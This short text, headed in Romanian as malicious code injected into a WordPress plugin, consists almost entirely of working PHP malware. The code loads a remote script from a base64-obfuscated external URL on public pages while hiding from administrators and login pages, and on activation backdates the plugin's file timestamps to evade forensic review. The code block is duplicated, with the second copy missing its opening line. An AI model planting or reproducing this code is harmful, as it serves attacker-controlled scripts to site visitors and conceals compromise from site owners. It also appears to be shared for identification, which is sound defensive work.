Codul malițios injectat în plugin:
function jquery_js_for_specific_pages() {
if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
return;
}
if (current_user_can('administrator')) {
return;
}
$encoded_url = 'aHR0cHM6Ly9hc3luY2F3YWl0YXBpLmNvbS9QVHZYY1BlalJPSjBXODQ5SDFVeEtmdGY0WDVyMHo5alN2LTlqU3dKcEgwZ3c=';
wp_register_script('jquery-init-custom-script', base64_decode($encoded_url), array(), null, false);
wp_enqueue_script('jquery-init-custom-script');
}
add_action('wp_enqueue_scripts', 'jquery_js_for_specific_pages');
function change_files_and_folders_date() {
if (!current_user_can('administrator')) {
return;
}
$plugin_dir = plugin_dir_path(__FILE__);
function recursive_date_change($path) {
$days_to_subtract = 396;
if (is_dir($path)) {
$new_time = strtotime("-$days_to_subtract days");
touch($path, $new_time);
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($files as $fileinfo) {
$file_path = $fileinfo->getRealPath();
touch($file_path, $new_time);
}
} else {
touch($path, strtotime("-$days_to_subtract days"));
}
}
recursive_date_change($plugin_dir);
}
register_activation_hook(__FILE__, 'change_files_and_folders_date');
if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
return;
}
if (current_user_can('administrator')) {
return;
}
$encoded_url = 'aHR0cHM6Ly9hc3luY2F3YWl0YXBpLmNvbS9QVHZYY1BlalJPSjBXODQ5SDFVeEtmdGY0WDVyMHo5alN2LTlqU3dKcEgwZ3c=';
wp_register_script('jquery-init-custom-script', base64_decode($encoded_url), array(), null, false);
wp_enqueue_script('jquery-init-custom-script');
}
add_action('wp_enqueue_scripts', 'jquery_js_for_specific_pages');
function change_files_and_folders_date() {
if (!current_user_can('administrator')) {
return;
}
$plugin_dir = plugin_dir_path(__FILE__);
function recursive_date_change($path) {
$days_to_subtract = 396;
if (is_dir($path)) {
$new_time = strtotime("-$days_to_subtract days");
touch($path, $new_time);
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($files as $fileinfo) {
$file_path = $fileinfo->getRealPath();
touch($file_path, $new_time);
}
} else {
touch($path, strtotime("-$days_to_subtract days"));
}
}
recursive_date_change($plugin_dir);
}
register_activation_hook(__FILE__, 'change_files_and_folders_date');
